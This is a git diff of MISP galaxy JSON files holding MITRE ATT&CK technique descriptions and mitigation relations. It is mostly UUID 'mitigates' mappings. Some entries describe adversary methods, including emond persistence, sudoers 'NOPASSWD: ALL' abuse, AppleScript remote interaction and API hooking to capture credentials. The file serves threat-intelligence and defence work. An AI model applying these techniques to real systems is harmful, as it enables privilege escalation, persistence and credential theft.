network, thus affecting the integrity of the original content. Reasons for [Defacement](https://attack.mitre.org/techniques/T1491) include delivering messaging, intimidation, or claiming (possibly false) credit for an intrusion. Disturbing or offensive images may be used as a part of [Defacement](https://attack.mitre.org/techniques/T1491) in order to cause user discomfort, or to pressure compliance with accompanying messages. \n", + "description": "Adversaries may modify visual content available internally or externally to an enterprise network. Reasons for [Defacement](https://attack.mitre.org/techniques/T1491) include delivering messaging, intimidation, or claiming (possibly false) credit for an intrusion. Disturbing or offensive images may be used as a part of [Defacement](https://attack.mitre.org/techniques/T1491) in order to cause user discomfort, or to pressure compliance with accompanying messages. \n", "meta": { "external_id": "T1491", "kill_chain": [ @@ -29033,12 +25755,6 @@ "description": "macOS and OS X applications send AppleEvent messages to each other for interprocess communications (IPC). These messages can be easily scripted with AppleScript for local or remote IPC. Osascript executes AppleScript and any other Open Scripting Architecture (OSA) language scripts. A list of OSA languages installed on a system can be found by using the osalang program.\nAppleEvent messages can be sent independently or as part of a script. These events can locate open windows, send keystrokes, and interact with almost any open application locally or remotely. \n\nAdversaries can use this to interact with open SSH connection, move to remote machines, and even present users with fake dialog boxes. These events cannot start applications remotely (they can start them locally though), but can interact with applications if they're already running remotely. Since this is a scripting language, it can be used to launch more common techniques as well such as a reverse shell via python (Citation: Macro Malware Targets Macs). Scripts can be run from the command-line via osascript /path/to/script or osascript -e \"script here\".", "meta": { "external_id": "T1155", - "kill_chain": [ - "mitre-attack:execution" - ], - "mitre_platforms": [ - "macOS" - ], "refs": [ "https://attack.mitre.org/techniques/T1155", "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/macro-malware-targets-macs/" @@ -29074,15 +25790,7 @@ "https://developer.apple.com/documentation/corelocation/requesting_authorization_for_location_services" ] }, - "related": [ - { - "dest-uuid": "e422b6fa-4739-46b9-992e-82f1b350c780", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "revoked-by" - } - ], + "related": [], "uuid": "8197f026-64da-4700-93b9-b55ba55f3b31", "value": "Geofencing - T1581" }, @@ -29090,13 +25798,6 @@ "description": "Adversaries may use Event Monitor Daemon (emond) to establish persistence by scheduling malicious commands to run on predictable event triggers. Emond is a [Launch Daemon](https://attack.mitre.org/techniques/T1160) that accepts events from various services, runs them through a simple rules engine, and takes action. The emond binary at /sbin/emond will load any rules from the /etc/emond.d/rules/ directory and take action once an explicitly defined event takes place. The rule files are in the plist format and define the name, event type, and action to take. Some examples of event types include system startup and user authentication. Examples of actions are to run a system command or send an email. The emond service will not launch if there is no file present in the QueueDirectories path /private/var/db/emondClients, specified in the [Launch Daemon](https://attack.mitre.org/techniques/T1160) configuration file at/System/Library/LaunchDaemons/com.apple.emond.plist.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019)\n\nAdversaries may abuse this service by writing a rule to execute commands when a defined event occurs, such as system start up or user authentication.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019) Adversaries may also be able to escalate privileges from administrator to root as the emond service is executed with root privileges by the [Launch Daemon](https://attack.mitre.org/techniques/T1160) service.", "meta": { "external_id": "T1519", - "kill_chain": [ - "mitre-attack:persistence", - "mitre-attack:privilege-escalation" - ], - "mitre_platforms": [ - "macOS" - ], "refs": [ "http://www.magnusviri.com/Mac/what-is-emond.html", "https://attack.mitre.org/techniques/T1519", @@ -29137,13 +25838,6 @@ "description": "The sudoers file, /etc/sudoers, describes which users can run which commands and from which terminals. This also describes which commands users can run as other users or groups. This provides the idea of least privilege such that users are running in their lowest possible permissions for most of the time and only elevate to other users or permissions as needed, typically by prompting for a password. However, the sudoers file can also specify when to not prompt users for passwords with a line like user1 ALL=(ALL) NOPASSWD: ALL (Citation: OSX.Dok Malware). \n\nAdversaries can take advantage of these configurations to execute commands as other users or spawn processes with higher privileges. You must have elevated privileges to edit this file though.", "meta": { "external_id": "T1169", - "kill_chain": [ - "mitre-attack:privilege-escalation" - ], - "mitre_platforms": [ - "Linux", - "macOS" - ], "refs": [ "https://attack.mitre.org/techniques/T1169", "https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/" @@ -29165,14 +25859,6 @@ "description": "Windows processes often leverage application programming interface (API) functions to perform tasks that require reusable system resources. Windows API functions are typically stored in dynamic-link libraries (DLLs) as exported functions. \n\nHooking involves redirecting calls to these functions and can be implemented via:\n\n* **Hooks procedures**, which intercept and execute designated code in response to events such as messages, keystrokes, and mouse inputs. (Citation: Microsoft Hook Overview) (Citation: Elastic Process Injection July 2017)\n* **Import address table (IAT) hooking**, which use modifications to a process’s IAT, where pointers to imported API functions are stored. (Citation: Elastic Process Injection July 2017) (Citation: Adlice Software IAT Hooks Oct 2014) (Citation: MWRInfoSecurity Dynamic Hooking 2015)\n* **Inline hooking**, which overwrites the first bytes in an API function to redirect code flow. (Citation: Elastic Process Injection July 2017) (Citation: HighTech Bridge Inline Hooking Sept 2011) (Citation: MWRInfoSecurity Dynamic Hooking 2015)\n\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), adversaries may use hooking to load and execute malicious code within the context of another process, masking the execution while also allowing access to the process's memory and possibly elevated privileges. Installing hooking mechanisms may also provide Persistence via continuous invocation when the functions are called through normal use.\n\nMalicious hooking mechanisms may also capture API calls that include parameters that reveal user authentication credentials for Credential Access. (Citation: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017)\n\nHooking is commonly utilized by [Rootkit](https://attack.mitre.org/techniques/T1014)s to conceal files, processes, Registry keys, and other objects in order to hide malware and associated behaviors. (Citation: Symantec Windows Rootkits)", "meta": { "external_id": "T1179", - "kill_chain": [ - "mitre-attack:persistence", - "mitre-attack:privilege-escalation", - "mitre-attack:credential-access" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "http://www.gmer.net/", "https://attack.mitre.org/techniques/T1179", @@ -29267,18 +25953,10 @@ "https://pages.nist.gov/mobile-threat-catalogue/authentication-threats/AUT-11.html" ] }, - "related": [ - { - "dest-uuid": "8605a0ec-b44a-4e98-a7fc-87d4bd3acb66", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "revoked-by" - } - ], + "related": [], "uuid": "27f483c6-6666-44fa-8532-ffd5fc7dab38", "value": "Keychain - T1579" } ], - "version": 21 + "version": 22 } diff --git a/clusters/mitre-course-of-action.json b/clusters/mitre-course-of-action.json index fc7cb439..53f02cf3 100644 --- a/clusters/mitre-course-of-action.json +++ b/clusters/mitre-course-of-action.json @@ -331,13 +331,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "7e7c2fba-7cca-486c-9582-4c1bb2851961", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", "tags": [ @@ -415,13 +408,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "bed04f7d-e48a-4e76-bd0f-4c57fe31fc46", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "c1b11bf7-c68e-4fbf-a95b-28efbe7953bb", "tags": [ @@ -534,13 +520,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "e74de37c-a829-446c-937d-56a44f0e9306", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "eb062747-2193-45de-8fa2-e62549c37ddf", "tags": [ @@ -887,56 +866,21 @@ }, "related": [ { - "dest-uuid": "20b0931a-8952-42ca-975f-775bad295f1a", + "dest-uuid": "27f483c6-6666-44fa-8532-ffd5fc7dab38", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" }, { - "dest-uuid": "24a77e53-0751-46fc-b207-99378fb35c08", + "dest-uuid": "2f0e8d80-4b8b-4f4a-b5cc-132afe7e057d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" }, { - "dest-uuid": "29f1f56c-7b7a-4c14-9e39-59577ea2743c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "2aa78dfd-cb6f-4c70-9408-137cfd96be49", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "351c0927-2fc1-4a2c-ad84-cbbee7eb8172", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "693cdbff-ea73-49c6-ac3f-91e7285c31d1", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "8605a0ec-b44a-4e98-a7fc-87d4bd3acb66", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "cc6e0637-76d2-4af3-a604-9d8d3ff8a6b3", + "dest-uuid": "9d7c32f4-ab39-49dc-8055-8106bc2294a1", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -948,6 +892,13 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" + }, + { + "dest-uuid": "e083305c-49e7-4c87-aae8-9689213bffbe", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" } ], "uuid": "cf2cccb1-cab8-431a-8ecf-f7874d05f433", @@ -1032,7 +983,22 @@ "https://attack.mitre.org/mitigations/M1007" ] }, - "related": [], + "related": [ + { + "dest-uuid": "8e27551a-5080-4148-a584-c64348212e4f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "9d7c32f4-ab39-49dc-8055-8106bc2294a1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], "uuid": "e944670c-d03a-4e93-a21c-b3d4c53ec4c9", "value": "Caution with Device Administrator Access - M1007" }, @@ -1168,6 +1134,13 @@ ], "type": "mitigates" }, + { + "dest-uuid": "06780952-177c-4247-b978-79c357fb311f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, { "dest-uuid": "09b130a2-a77e-4af0-a361-f46f9aad1345", "tags": [ @@ -1399,6 +1372,13 @@ ], "type": "mitigates" }, + { + "dest-uuid": "6747daa2-3533-4e78-8fb8-446ebb86448a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, { "dest-uuid": "67720091-eee3-4d2d-ae16-8264567f6f5b", "tags": [ @@ -1581,13 +1561,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "d10cbd34-42e3-45c0-84d2-535a09849584", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "d157f9d2-d09a-4efa-bb2a-64963f94e253", "tags": [ @@ -2533,13 +2506,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "106c0cf6-bf73-4601-9aa8-0945c2715ec5", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "232a7e42-cd6e-4902-8fe9-2960f529dd4d", "tags": [ @@ -2554,13 +2520,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "2c4d4e92-0ccf-4a97-b54c-86d662988a53", "tags": [ @@ -2673,13 +2632,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "a4657bc9-d22f-47d2-a7b7-dd6ec33f3dde", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "a9e2cea0-c805-4bf8-9e31-f5f0513a3634", "tags": [ @@ -2694,13 +2646,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "b200542e-e877-4395-875b-cf1a44537ca4", "tags": [ @@ -2764,13 +2709,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "eb2cb5cb-ae87-4de0-8c35-da2a17aafb99", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "ed7efd4d-ce28-4a19-a8e6-c58011eb2c7a", "tags": [ @@ -2860,27 +2798,6 @@ ] }, "related": [ - { - "dest-uuid": "08e22979-d320-48ed-8711-e7bf94aabb13", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "11c2c2b7-1fd4-408f-bc2e-fe772ef9df5e", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "198ce408-1470-45ee-b47f-7056050d4fc2", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "1b51f5bc-b97a-498a-8dbd-bc6b1901bf19", "tags": [ @@ -2888,13 +2805,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "1d44f529-6fe6-489f-8a01-6261ac43f05e", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "2204c371-6100-4ae0-82f3-25c07c29772a", "tags": [ @@ -2903,28 +2813,42 @@ "type": "mitigates" }, { - "dest-uuid": "233fe2c0-cb41-4765-b454-e0087597fbce", + "dest-uuid": "27f483c6-6666-44fa-8532-ffd5fc7dab38", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" }, { - "dest-uuid": "3775a580-a1d1-46c4-8147-c614a715f2e9", + "dest-uuid": "29e07491-8947-43a3-8d4e-9a787c45f3d3", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" }, { - "dest-uuid": "498e7b81-238d-404c-aa5e-332904d63286", + "dest-uuid": "2d646840-f6f5-4619-a5a8-29c8316bbac5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" }, { - "dest-uuid": "4c58b7c6-a839-4789-bda9-9de33e4d4512", + "dest-uuid": "351c0927-2fc1-4a2c-ad84-cbbee7eb8172", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "3b0b604f-10db-41a0-b54c-493124d455b9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "3dd58c80-4c2e-458c-9503-1b2cd273c4d2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -2959,49 +2883,63 @@ "type": "mitigates" }, { - "dest-uuid": "74e6003f-c7f4-4047-983b-708cc19b96b6", + "dest-uuid": "77e30eee-fd48-40b4-99ec-73e97c158b58", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" }, { - "dest-uuid": "789ef15a-34d9-4b32-a779-8cbbc9eb32f5", + "dest-uuid": "79eec66a-9bd0-4a3f-ac82-19159e94bd44", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" }, { - "dest-uuid": "79cb02f4-ac4e-4335-8b51-425c9573cce1", + "dest-uuid": "8197f026-64da-4700-93b9-b55ba55f3b31", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" }, { - "dest-uuid": "99e6295e-741b-4857-b6e5-64989eb039b4", + "dest-uuid": "82f04b1e-5371-4a6f-be06-411f0f43b483", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" }, { - "dest-uuid": "9c049d7b-c92a-4733-9381-27e2bd2ccadc", + "dest-uuid": "88932a8c-3a17-406f-9431-1da3ff19f6d6", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" }, { - "dest-uuid": "a8c31121-852b-46bd-9ba4-674ae5afe7ad", + "dest-uuid": "8f0e39c6-82c9-41ec-9f93-5696c0f2e274", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" }, { - "dest-uuid": "acf8fd2a-dc98-43b4-8d37-64e10728e591", + "dest-uuid": "9d7c32f4-ab39-49dc-8055-8106bc2294a1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "a0464539-e1b7-4455-a355-12495987c300", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "bd4d32f5-eed4-4018-a649-40b229dd1d69", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -3015,7 +2953,7 @@ "type": "mitigates" }, { - "dest-uuid": "c548d8c4-a0a3-4a24-bb79-2a84abbc7b36", + "dest-uuid": "cde2cb84-455e-410c-8aa9-086f2788bcd2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -3035,13 +2973,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "d446b9f0-06a9-4a8d-97ee-298cfee84f14", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "d4536441-1bcc-49fa-80ae-a596ed3f7ffd", "tags": [ @@ -3057,35 +2988,35 @@ "type": "mitigates" }, { - "dest-uuid": "dc01774a-d1c1-45fb-b506-0a5d1d6593d9", + "dest-uuid": "dfe29258-ce59-421c-9dee-e85cb9fa90cd", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" }, { - "dest-uuid": "e422b6fa-4739-46b9-992e-82f1b350c780", + "dest-uuid": "e399430e-30b7-48c5-b70a-f44dc8c175cb", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" }, { - "dest-uuid": "eb6cf439-1bcb-4d10-bc68-1eed844ed7b3", + "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" }, { - "dest-uuid": "f05fc151-aa62-47e3-ae57-2d1b23d64bf6", + "dest-uuid": "ef771e03-e080-43b4-a619-ac6f84899884", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" }, { - "dest-uuid": "fcb11f06-ce0e-490b-bcc1-04a1623579f0", + "dest-uuid": "fd339382-bfec-4bf0-8d47-1caedc9e7e57", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -4057,7 +3988,7 @@ "value": "Remote Access Tools Mitigation - T1219" }, { - "description": "Limit access to remote services through centrally managed concentrators such as VPNs and other managed remote access systems. Deny direct remote access to internal systems through the use of network proxies, gateways, and firewalls. Disable or block remotely available services such as [Windows Remote Management](https://attack.mitre.org/techniques/T1028). Use strong two-factor or multi-factor authentication for remote service accounts to mitigate an adversary's ability to leverage stolen credentials, but be aware of [Multi-Factor Authentication Interception](https://attack.mitre.org/techniques/T1111) techniques for some two-factor authentication implementations.", + "description": "Limit access to remote services through centrally managed concentrators such as VPNs and other managed remote access systems. Deny direct remote access to internal systems through the use of network proxies, gateways, and firewalls. Disable or block remotely available services such as [Windows Remote Management](https://attack.mitre.org/techniques/T1028). Use strong two-factor or multi-factor authentication for remote service accounts to mitigate an adversary's ability to leverage stolen credentials, but be aware of [Two-Factor Authentication Interception](https://attack.mitre.org/techniques/T1111) techniques for some two-factor authentication implementations.", "meta": { "external_id": "T1133", "refs": [ @@ -4983,49 +4914,7 @@ }, "related": [ { - "dest-uuid": "20b0931a-8952-42ca-975f-775bad295f1a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "2aa78dfd-cb6f-4c70-9408-137cfd96be49", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "46d818a5-67fa-4585-a7fc-ecf15376c8d5", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "4f14e30b-8b57-4a7b-9093-2c0778ea99cf", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "670a4d75-103b-4b14-8a9e-4652fa795edd", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "9558a84e-2d5e-4872-918e-d847494a8ffc", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "c6e17ca2-08b5-4379-9786-89bd05241831", + "dest-uuid": "c5089859-b21f-40a3-8be4-63e381b8b1c0", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -5143,7 +5032,49 @@ }, "related": [ { - "dest-uuid": "08e22979-d320-48ed-8711-e7bf94aabb13", + "dest-uuid": "393e8c12-a416-4575-ba90-19cc85656796", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "3b0b604f-10db-41a0-b54c-493124d455b9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "633baf01-6de4-4963-bb54-ff6c6357bed3", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "a5de0540-73e7-4c67-96da-4143afedc7ed", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "d731c21e-f27d-4756-b418-0e2aaabd6d63", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "f58cd69a-e548-478b-9248-8a9af881dc34", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "fb3fa94a-3aee-4ab0-b7e7-abdf0a51286d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -5230,21 +5161,7 @@ }, "related": [ { - "dest-uuid": "08ea902d-ecb5-47ed-a453-2798057bb2d3", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "0d95940f-9583-4e0f-824c-a42c1be47fad", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "233fe2c0-cb41-4765-b454-e0087597fbce", + "dest-uuid": "29e07491-8947-43a3-8d4e-9a787c45f3d3", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -5257,6 +5174,13 @@ ], "type": "mitigates" }, + { + "dest-uuid": "6747daa2-3533-4e78-8fb8-446ebb86448a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, { "dest-uuid": "73c26732-6422-4081-8b63-6d0ae93d449e", "tags": [ @@ -5265,35 +5189,7 @@ "type": "mitigates" }, { - "dest-uuid": "7827ced0-95e7-4d05-bdcf-0d8f2d37a3d3", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "789ef15a-34d9-4b32-a779-8cbbc9eb32f5", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "7d20fff9-8751-404e-badd-ccd71bda0236", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "8252f135-ed26-4ce1-ae61-f26e94429a19", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "acd0ba37-7ba9-4cc5-ac61-796586cd856d", + "dest-uuid": "77e30eee-fd48-40b4-99ec-73e97c158b58", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -5489,13 +5385,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "59ff91cd-1430-4075-8563-e6f15f4f9ff5", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "650c784b-7504-4df7-ab2c-4ea882384d1e", "tags": [ @@ -6240,7 +6129,15 @@ "https://attack.mitre.org/mitigations/T1150" ] }, - "related": [], + "related": [ + { + "dest-uuid": "06780952-177c-4247-b978-79c357fb311f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], "uuid": "2d704e56-e689-4011-b989-bf4e025a8727", "value": "Plist Modification Mitigation - T1150" }, @@ -6452,13 +6349,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "2b742742-28c3-4e1b-bab7-8350d6300fa7", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "2ba5aa71-9d15-4b22-b726-56af06d9ad2f", "tags": [ @@ -6487,13 +6377,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "3257eb21-f9a7-4430-8de1-d8b6e288f529", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "3298ce88-1628-43b1-87d9-0b5336b193d7", "tags": [ @@ -6508,6 +6391,13 @@ ], "type": "mitigates" }, + { + "dest-uuid": "36675cd3-fe00-454c-8516-aebecacbe9d9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, { "dest-uuid": "3d333250-30e4-4a82-9edc-756c68afc529", "tags": [ @@ -6634,6 +6524,13 @@ ], "type": "mitigates" }, + { + "dest-uuid": "6636bc83-0611-45a6-b74f-1f3daf635b8e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, { "dest-uuid": "677569f9-a8b0-459e-ab24-7f18091fa7bf", "tags": [ @@ -6655,13 +6552,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "6b57dc31-b814-4a03-8706-28bc20d739c4", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "70857657-bd0b-4695-ad3e-b13f92cac1b4", "tags": [ @@ -6704,13 +6594,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "7b50a1d3-4ca7-45d1-989d-a6503f04bfe1", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "804c042c-cfe6-449e-bc1a-ba0a998a70db", "tags": [ @@ -6809,13 +6692,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "a1b52199-c8c5-438a-9ded-656f1d0888c6", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "a257ed11-ff3b-4216-8c9d-3938ef57064c", "tags": [ @@ -6858,13 +6734,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "b17a1a56-e99c-403c-8948-561df0cffe81", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "b2d03cea-aec1-45ca-9744-9ee583c1e1cc", "tags": [ @@ -7047,13 +6916,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "f8ef3a62-3f44-40a4-abca-761ab235c436", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "ffeb0780-356e-4261-b036-cfb6bd234335", "tags": [ @@ -7288,13 +7150,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "379809f6-2fac-42c1-bd2e-e9dee70b27f8", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "39a130e1-6ab7-434a-8bd2-418e7d9d6427", "tags": [ @@ -7379,13 +7234,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "d456de47-a16f-4e46-8980-e67478a12dcb", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "dce31a00-1e90-4655-b0f9-e2e71a748a87", "tags": [ @@ -8292,13 +8140,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "d50955c2-272d-4ac8-95da-10c29dda1c48", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "dcaa092b-7de9-4a21-977f-7fcb77e89c48", "tags": [ @@ -8556,13 +8397,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "106c0cf6-bf73-4601-9aa8-0945c2715ec5", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "11f29a39-0942-4d62-92b6-fe236cf3066e", "tags": [ @@ -8612,13 +8446,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "3489cfc5-640f-4bb3-a103-9137b97de79f", "tags": [ @@ -8905,13 +8732,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "3aef9463-9a7a-43ba-8957-a867e07c1e6a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": 